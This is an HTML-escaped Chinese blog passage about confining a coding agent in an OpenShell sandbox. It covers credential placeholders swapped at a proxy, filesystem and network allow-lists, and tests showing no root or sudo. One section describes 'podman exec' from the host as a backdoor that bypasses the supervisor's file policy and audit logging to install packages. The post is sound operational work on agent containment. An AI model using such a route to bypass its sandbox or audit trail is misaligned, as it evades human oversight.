&lt;p&gt;pi 镜像是上游构建好的（&lt;code&gt;RUN npm install -g @earendil-works&#x2F;pi-coding-agent&lt;&#x2F;code&gt;，pi 0.77.0），沙箱里&lt;strong&gt;零安装&lt;&#x2F;strong&gt;。但它体积不小——3.58GB，解剖一下（&lt;code&gt;podman history&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;层&lt;&#x2F;th&gt;&lt;th&gt;大小&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;npm 全局包：opencode-ai + @openai&#x2F;codex + @github&#x2F;copilot + tar&#x2F;hono&lt;&#x2F;td&gt;&lt;td&gt;1.87 GB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Node.js 22 + npm 11 + build-essential&#x2F;git&#x2F;vim&#x2F;nano&lt;&#x2F;td&gt;&lt;td&gt;618 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Claude Code（官方 native 安装）&lt;&#x2F;td&gt;&lt;td&gt;481 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;uv + Python 3.14 + &lt;code&gt;&#x2F;sandbox&#x2F;.venv&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;~265 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Ubuntu 24.04 noble 底座&lt;&#x2F;td&gt;&lt;td&gt;81 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;apt 系统工具（curl&#x2F;dnsutils&#x2F;iproute2&#x2F;iptables&#x2F;nftables&#x2F;ping&#x2F;nc&#x2F;traceroute…）&lt;&#x2F;td&gt;&lt;td&gt;72 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;gh CLI&lt;&#x2F;td&gt;&lt;td&gt;41 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;pi 本体&lt;&#x2F;strong&gt;（&lt;code&gt;@earendil-works&#x2F;pi-coding-agent&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;157 MB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;也就是说，base 镜像是个&quot;agent 全家桶&quot;（四个 coding agent CLI + 完整 Node 编译链 + Python 工具链），pi 只是最上面薄薄一层。3.58GB 里 pi 自己只占 4%；自建 BYOC 时 &lt;code&gt;FROM base&lt;&#x2F;code&gt; 也继承这些，真想瘦身得绕开 base、自己搭 OpenShell 所需的 supervisor&#x2F;sandbox 用户与 &lt;code&gt;&#x2F;etc&#x2F;openshell&lt;&#x2F;code&gt; 骨架。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ping-zheng-bu-luo-di-provider-zhan-wei-fu-l7-ti-huan&quot;&gt;凭证不落地：provider + 占位符 + L7 替换&lt;&#x2F;h1&gt;
&lt;p&gt;模型 key 的最终形态是：&lt;strong&gt;agent 进程只拿到占位符，真值只存在 supervisor 内存里，代理在发往上游的请求上替换&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;先写一个 provider profile（自定义类型）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;# xiaomi-token-plan-cn-provider.yaml
id: xiaomi-token-plan-cn
category: inference
inference_capable: true
credentials:
  - name: api_key
    env_vars: [XIAOMI_TOKEN_PLAN_CN_API_KEY]
    required: true
    auth_style: bearer
    header_name: authorization
endpoints:
  - host: token-plan-cn.xiaomimimo.com
    port: 443
    protocol: rest          # ← L7：必须，否则代理看不到明文、无法替换
    access: read-write
    enforcement: enforce
binaries:
  - &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;pi
  - &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;node
  # ... node_modules 里的 cli.js 等
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;导入并用文件喂 key（key 不进命令行历史）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openshell provider profile import -f xiaomi-token-plan-cn-provider.yaml
XIAOMI_TOKEN_PLAN_CN_API_KEY=&amp;quot;$(cat ~&amp;#x2F;.config&amp;#x2F;openshell&amp;#x2F;hermes-key)&amp;quot; \
  openshell provider create --name hermes-xiaomi --type xiaomi-token-plan-cn \
  --credential XIAOMI_TOKEN_PLAN_CN_API_KEY
shred -u ~&amp;#x2F;.config&amp;#x2F;openshell&amp;#x2F;hermes-key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;机制&lt;&#x2F;strong&gt;：沙箱里 &lt;code&gt;env&lt;&#x2F;code&gt; 看到的是 &lt;code&gt;openshell:resolve:env:XIAOMI_TOKEN_PLAN_CN_API_KEY&lt;&#x2F;code&gt;；supervisor 的代理对 L7 端点做 TLS 终结（临时 CA，私钥只在内存），解析明文 HTTP 后把占位符替换成真 key，再用真实根 CA 重新加密发往上游。&lt;code&gt;provider update&lt;&#x2F;code&gt; 到运行中沙箱约 &lt;strong&gt;15s&lt;&#x2F;strong&gt; 同步，运行中的进程无需重启。&lt;&#x2F;p&gt;
&lt;p&gt;踩过的坑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;credentialed endpoint 必须 L7&lt;&#x2F;strong&gt;。pi 镜像自带的 policy 里 &lt;code&gt;token-plan-cn.xiaomimimo.com&lt;&#x2F;code&gt; 是裸 CONNECT 隧道，运行时会报 &lt;code&gt;credentialed endpoint requires L7 inspection; raw tunnel is not explicitly allowed&lt;&#x2F;code&gt;（deny 日志 &lt;code&gt;[policy:hermes engine:credentials]&lt;&#x2F;code&gt;）。把端点改成 &lt;code&gt;protocol: rest&lt;&#x2F;code&gt; 才通。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;provider attach 的校验读的是沙箱创建时 spec 里的 policy&lt;&#x2F;strong&gt;，不是后续 &lt;code&gt;policy set&lt;&#x2F;code&gt; 的 revision。所以 policy 和 &lt;code&gt;--provider&lt;&#x2F;code&gt; 要在 &lt;code&gt;sandbox create&lt;&#x2F;code&gt; 时一次给全；对已存在沙箱事后 attach 带凭证的 provider 会报 L4-only。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;hermes-policy-yaml-zi-duan-xiang-jie&quot;&gt;hermes-policy.yaml 字段详解&lt;&#x2F;h1&gt;
&lt;p&gt;policy 分&lt;strong&gt;静态段&lt;&#x2F;strong&gt;（创建时锁定，改了要重建沙箱）和&lt;strong&gt;动态段&lt;&#x2F;strong&gt;（&lt;code&gt;network_policies&lt;&#x2F;code&gt;，可 &lt;code&gt;policy set --wait&lt;&#x2F;code&gt; 热更）。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;字段&lt;&#x2F;th&gt;&lt;th&gt;类别&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;version&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;schema 版本，固定 &lt;code&gt;1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;filesystem_policy.include_workdir&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;静态&lt;&#x2F;td&gt;&lt;td&gt;把 driver 工作目录（&lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt;）纳入可写&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;filesystem_policy.read_only&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;read_write&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;静态&lt;&#x2F;td&gt;&lt;td&gt;白名单模型：只读&#x2F;可写路径，&lt;strong&gt;未列出的路径不可访问&lt;&#x2F;strong&gt;；由 supervisor 用 Landlock LSM + 挂载落实&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;landlock.compatibility&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;静态&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;best_effort&lt;&#x2F;code&gt;：内核支持就启用，不支持则降级&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;process.run_as_user&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;run_as_group&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;静态&lt;&#x2F;td&gt;&lt;td&gt;agent 进程降权身份（pi 镜像里是 &lt;code&gt;sandbox&lt;&#x2F;code&gt;，uid 998）；禁止 root&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;network_policies.&amp;lt;key&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;一条规则 = endpoints × binaries；&lt;strong&gt;规则里每个二进制都能访问该规则所有端点&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;endpoint &lt;code&gt;host&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;port&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;目标；省略 &lt;code&gt;protocol&lt;&#x2F;code&gt; = 裸 CONNECT 隧道（L4，只能看 host:port）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;endpoint &lt;code&gt;protocol: rest&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;L7：代理终结 TLS、解析 HTTP、按 method&#x2F;path 判、可替换凭证占位符&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;endpoint &lt;code&gt;access&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;预设：&lt;code&gt;read-only&lt;&#x2F;code&gt; = GET&#x2F;HEAD&#x2F;OPTIONS；&lt;code&gt;read-write&lt;&#x2F;code&gt; 全放&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;endpoint &lt;code&gt;rules[].allow{method,path}&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;L7 方法&#x2F;路径白名单（如 git 只放 clone&#x2F;fetch，禁 push）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;endpoint &lt;code&gt;allow_encoded_slash&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;允许路径里的 &lt;code&gt;%2F&lt;&#x2F;code&gt;（npm scoped 包必须）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;binaries[].path&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态&lt;&#x2F;td&gt;&lt;td&gt;允许使用该规则的执行者（支持 glob）；代理按 &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;exe&lt;&#x2F;code&gt; 的&lt;strong&gt;真实路径&lt;&#x2F;strong&gt;匹配（软链不算）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;filesystem_policy&lt;&#x2F;code&gt; 的 whitelist 效果实测：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ openshell sandbox exec -n hermes -- sh -c &amp;#x27;id; ls &amp;#x2F;home&amp;#x27;
uid=998(sandbox) gid=998(sandbox) groups=998(sandbox)
ls: cannot open directory &amp;#x27;&amp;#x2F;home&amp;#x27;: Permission denied

$ openshell sandbox exec -n hermes -- sh -c &amp;#x27;touch &amp;#x2F;usr&amp;#x2F;x; touch &amp;#x2F;sandbox&amp;#x2F;ok&amp;#x27;
touch: cannot touch &amp;#x27;&amp;#x2F;usr&amp;#x2F;x&amp;#x27;: Permission denied   # 只读
$ touch &amp;#x2F;sandbox&amp;#x2F;ok                               # 可写
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;网络白名单：未列端点直接 403，且每次放行&#x2F;拒绝都有 OCSF 日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ openshell sandbox exec -n hermes -- sh -c &amp;#x27;curl -sS https:&amp;#x2F;&amp;#x2F;example.com&amp;#x27;
curl: (56) CONNECT tunnel failed, response 403

$ openshell logs hermes --tail
NET:OPEN [MED] DENIED &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;curl -&amp;gt; example.com:443 [reason:endpoint not allowed by any policy]
HTTP:POST [INFO] ALLOWED POST http:&amp;#x2F;&amp;#x2F;token-plan-cn.xiaomimimo.com:443&amp;#x2F;v1&amp;#x2F;chat&amp;#x2F;completions [policy:hermes engine:l7]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建沙箱：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openshell sandbox create --name hermes --from pi --provider hermes-xiaomi \
  --policy .&amp;#x2F;hermes-policy.yaml --detach
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;sha-xiang-quan-xian-bian-jie-mei-you-root-ye-mei-you-sudo&quot;&gt;沙箱权限边界：没有 root，也没有 sudo&lt;&#x2F;h1&gt;
&lt;p&gt;把 agent 关进沙箱，&quot;它能不能自己提权&quot;是第一个要回答的问题。实测结论：&lt;strong&gt;不能，而且这是三层设计&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;policy 层&lt;&#x2F;strong&gt;：&lt;code&gt;process.run_as_user&lt;&#x2F;code&gt; 显式值只接受 &lt;code&gt;sandbox&lt;&#x2F;code&gt; 或 UID&#x2F;GID &lt;code&gt;1..4294967294&lt;&#x2F;code&gt;，&lt;code&gt;0&lt;&#x2F;code&gt;（root）会被 schema 直接拒绝（&quot;root and the invalid identity sentinel are rejected&quot;）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;supervisor 层&lt;&#x2F;strong&gt;：就算删掉 &lt;code&gt;process&lt;&#x2F;code&gt; 段走镜像 OCI &lt;code&gt;USER&lt;&#x2F;code&gt; fallback，源码 &lt;code&gt;resolve_required_oci_user()&lt;&#x2F;code&gt; 也显式拒绝 &lt;code&gt;OCI USER &#x27;...&#x27; selects root&lt;&#x2F;code&gt;、数值 UID 0、解析到 UID 0 的用户、primary GID 0、root 组&#x2F;GID 0——自建镜像写 &lt;code&gt;USER root&lt;&#x2F;code&gt; 也起不来。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;运行时层&lt;&#x2F;strong&gt;：agent 进程 &lt;code&gt;NoNewPrivs=1&lt;&#x2F;code&gt;、&lt;code&gt;CapEff=0&lt;&#x2F;code&gt;，seccomp 禁 &lt;code&gt;mount&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ptrace&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;bpf&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;unshare(CLONE_NEWUSER)&lt;&#x2F;code&gt; 等逃逸原语，Landlock 文件策略照旧。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;实测：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ openshell sandbox exec -n hermes -- sh -c &amp;#x27;id; grep -E &amp;quot;NoNewPrivs|CapEff&amp;quot; &amp;#x2F;proc&amp;#x2F;self&amp;#x2F;status; command -v sudo || echo no-sudo&amp;#x27;
uid=998(sandbox) gid=998(sandbox) groups=998(sandbox)
NoNewPrivs:	1
CapEff:	0000000000000000
no-sudo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;改时间也不可能&lt;&#x2F;strong&gt;：容器没有独立实时钟（&lt;code&gt;CLOCK_REALTIME&lt;&#x2F;code&gt; 是内核全局的，time namespace 只虚拟化 &lt;code&gt;MONOTONIC&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;BOOTTIME&lt;&#x2F;code&gt;），&lt;code&gt;date -s&lt;&#x2F;code&gt; 需要 &lt;code&gt;CAP_SYS_TIME&lt;&#x2F;code&gt; 且按 init user namespace 校验，rootless 用户命名空间里（连 &lt;code&gt;podman exec -u root&lt;&#x2F;code&gt;）都拿不到：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ openshell sandbox exec -n hermes -- date -s &amp;quot;2020-01-01 00:00:00&amp;quot;
date: cannot set date: Operation not permitted
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shi-zhong-gong-xiang-shi-qu-ge-zi&quot;&gt;时钟共享，时区各自&lt;&#x2F;h2&gt;
&lt;p&gt;容器和宿主共享同一个内核时钟（实测两边 &lt;code&gt;date -u&lt;&#x2F;code&gt; 逐秒一致、&lt;code&gt;&#x2F;proc&#x2F;self&#x2F;ns&#x2F;time&lt;&#x2F;code&gt; inode 相同），所以宿主机改时钟沙箱必然跟着变；&lt;strong&gt;不共享的是时区&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;视角&lt;&#x2F;th&gt;&lt;th&gt;显示&lt;&#x2F;th&gt;&lt;th&gt;原因&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;宿主&lt;&#x2F;td&gt;&lt;td&gt;16:33 CST&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;etc&#x2F;localtime&lt;&#x2F;code&gt; = Asia&#x2F;Shanghai&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;openshell sandbox exec&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;16:33 CST&lt;&#x2F;td&gt;&lt;td&gt;gateway 给会话注入宿主 &lt;code&gt;TZ=Asia&#x2F;Shanghai&lt;&#x2F;code&gt;（实测客户端 &lt;code&gt;TZ=&lt;&#x2F;code&gt; 覆盖无效）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;podman exec&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;08:33 UTC&lt;&#x2F;td&gt;&lt;td&gt;容器 &lt;code&gt;&#x2F;etc&#x2F;localtime&lt;&#x2F;code&gt; = &lt;code&gt;Etc&#x2F;UTC&lt;&#x2F;code&gt;（镜像默认）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Hermes 长驻进程&lt;&#x2F;td&gt;&lt;td&gt;08:33 UTC&lt;&#x2F;td&gt;&lt;td&gt;无 &lt;code&gt;TZ&lt;&#x2F;code&gt; 环境变量，走容器默认&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;改宿主时区后，沙箱里&quot;没变&quot;的就是后两类（Hermes dashboard&#x2F;gateway 都算）。统一到 CST：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;podman exec -u root &amp;lt;容器&amp;gt; ln -sf &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;zoneinfo&amp;#x2F;Asia&amp;#x2F;Shanghai &amp;#x2F;etc&amp;#x2F;localtime
# 然后重启 dashboard&amp;#x2F;gateway（glibc 对时区文件有进程级缓存，不重启不生效）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（改动在容器可写层，&lt;code&gt;stop&#x2F;start&lt;&#x2F;code&gt; 保留、&lt;code&gt;delete&lt;&#x2F;code&gt; 丢；要永久就做进 BYOC 镜像。）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;podman-exec-rao-kai-supervisor-de-hou-men&quot;&gt;podman exec：绕开 supervisor 的后门&lt;&#x2F;h2&gt;
&lt;p&gt;OpenShell 的约束都在 supervisor 里，而容器本身是宿主 rootless podman 管理的。从 dut 上直接 &lt;code&gt;podman exec&lt;&#x2F;code&gt; 可以进同一个容器，但它&lt;strong&gt;不是&lt;&#x2F;strong&gt; &lt;code&gt;openshell exec&lt;&#x2F;code&gt; 的等价物：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;维度&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;openshell sandbox exec&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;podman exec&lt;&#x2F;code&gt;（默认 root）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;身份&lt;&#x2F;td&gt;&lt;td&gt;sandbox (998)，受 &lt;code&gt;run_as_user&lt;&#x2F;code&gt; 约束&lt;&#x2F;td&gt;&lt;td&gt;root（容器 &lt;code&gt;Config.User=0:0&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Landlock 文件策略&lt;&#x2F;td&gt;&lt;td&gt;生效（写 &lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt; → Permission denied）&lt;&#x2F;td&gt;&lt;td&gt;不生效（root 可写 &lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;网络策略&lt;&#x2F;td&gt;&lt;td&gt;生效（私网 403）&lt;&#x2F;td&gt;&lt;td&gt;仍生效（netns 级代理，私网超时）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OCSF 审计&lt;&#x2F;td&gt;&lt;td&gt;有记录&lt;&#x2F;td&gt;&lt;td&gt;无记录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;生命周期&lt;&#x2F;td&gt;&lt;td&gt;openshell 管 stop&#x2F;start&#x2F;delete&#x2F;forward&lt;&#x2F;td&gt;&lt;td&gt;gateway 不感知，别用 podman stop&#x2F;rm&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;注意 root 的 capability 里 &lt;code&gt;CAP_DAC_OVERRIDE&lt;&#x2F;code&gt; 被 drop：&lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt; 属 sandbox 用户 755，root 反而写不进去（要 &lt;code&gt;-u sandbox&lt;&#x2F;code&gt;）；写 &lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt;、装包没问题。&lt;&#x2F;p&gt;
&lt;p&gt;这给了我们一条&quot;给沙箱补系统工具&quot;的路子——但直接 apt 会失败：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;E: Failed to fetch store:&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;apt&amp;#x2F;lists&amp;#x2F;partial&amp;#x2F;... rename failed, Permission denied
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原因：&lt;code&gt;&#x2F;var&#x2F;lib&#x2F;apt&#x2F;lists&#x2F;partial&lt;&#x2F;code&gt; 属 &lt;code&gt;_apt&lt;&#x2F;code&gt;，而 root 缺 &lt;code&gt;CAP_DAC_OVERRIDE&lt;&#x2F;code&gt;。解法（实测装通 &lt;code&gt;sl&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;C=openshell-default--hermes-&amp;lt;id&amp;gt;
podman exec -u root $C chown -R root:root &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;apt&amp;#x2F;lists &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;apt
podman exec -u root $C apt-get -o APT::Sandbox::User=root update
podman exec -u root $C apt-get -o APT::Sandbox::User=root -y --no-install-recommends install &amp;lt;pkg&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;装完 Hermes 直接可用（工具在 &lt;code&gt;&#x2F;usr&#x2F;bin&lt;&#x2F;code&gt;，policy 的 &lt;code&gt;binaries: &#x2F;usr&#x2F;**&lt;&#x2F;code&gt; 也允许它走网络）。局限：改动在容器可写层（&lt;code&gt;sandbox delete&lt;&#x2F;code&gt;&#x2F;重建丢，不在 &lt;code&gt;&#x2F;sandbox&lt;&#x2F;code&gt; 卷）、绕过策略与审计、容器里没有 systemd（服务类工具起不来）、别 &lt;code&gt;apt-get upgrade&lt;&#x2F;code&gt;。要持久化就写进 BYOC 镜像的构建期。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;sha-xiang-nei-jia-zhuang-hermes-lu-xian-xuan-ze-yu-chi-jiu-hua&quot;&gt;沙箱内加装 Hermes：路线选择与持久化&lt;&#x2F;h1&gt;
&lt;p&gt;Hermes 不在 pi 镜像里，有两个装法：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路线 A：运行时安装&lt;&#x2F;strong&gt;——在运行中的沙箱里跑官方安装器，装到 &lt;code&gt;&#x2F;sandbox&#x2F;.hermes&lt;&#x2F;code&gt;（本文的做法）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;路线 B：BYOC 镜像&lt;&#x2F;strong&gt;——写 Dockerfile &lt;code&gt;FROM&lt;&#x2F;code&gt; 社区 base&#x2F;pi 镜像再装 Hermes，构建时网络不受 policy 限制，重建不丢。注意上游&lt;strong&gt;没有现成的 hermes 沙箱镜像&lt;&#x2F;strong&gt;（OpenShell-Community 的 &lt;code&gt;sandboxes&#x2F;&lt;&#x2F;code&gt; 只有 base&#x2F;droid&#x2F;gemini&#x2F;nvidia-gpu&#x2F;ollama&#x2F;pi&#x2F;sdg，&lt;code&gt;--from hermes&lt;&#x2F;code&gt; 会 403）；&lt;code&gt;--from&lt;&#x2F;code&gt; 也接受本地 Dockerfile 目录或完整镜像引用。NousResearch 官方的 hermes-agent 镜像（debian + s6-overlay）&lt;strong&gt;不能&lt;&#x2F;strong&gt;直接当 OpenShell 沙箱镜像：它没有 supervisor&#x2F;sandbox 用户和 &lt;code&gt;&#x2F;etc&#x2F;openshell&lt;&#x2F;code&gt; 布局，ENTRYPOINT &lt;code&gt;&#x2F;init&lt;&#x2F;code&gt; 与 supervisor 注入冲突，BYOC 必须 &lt;code&gt;FROM&lt;&#x2F;code&gt; 社区 base&#x2F;pi 自己装。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我这次先用 A 快速验证。&lt;strong&gt;持久化边界&lt;&#x2F;strong&gt;要说清楚：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;位置&lt;&#x2F;th&gt;&lt;th&gt;stop&#x2F;start&lt;&#x2F;th&gt;&lt;th&gt;sandbox delete&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
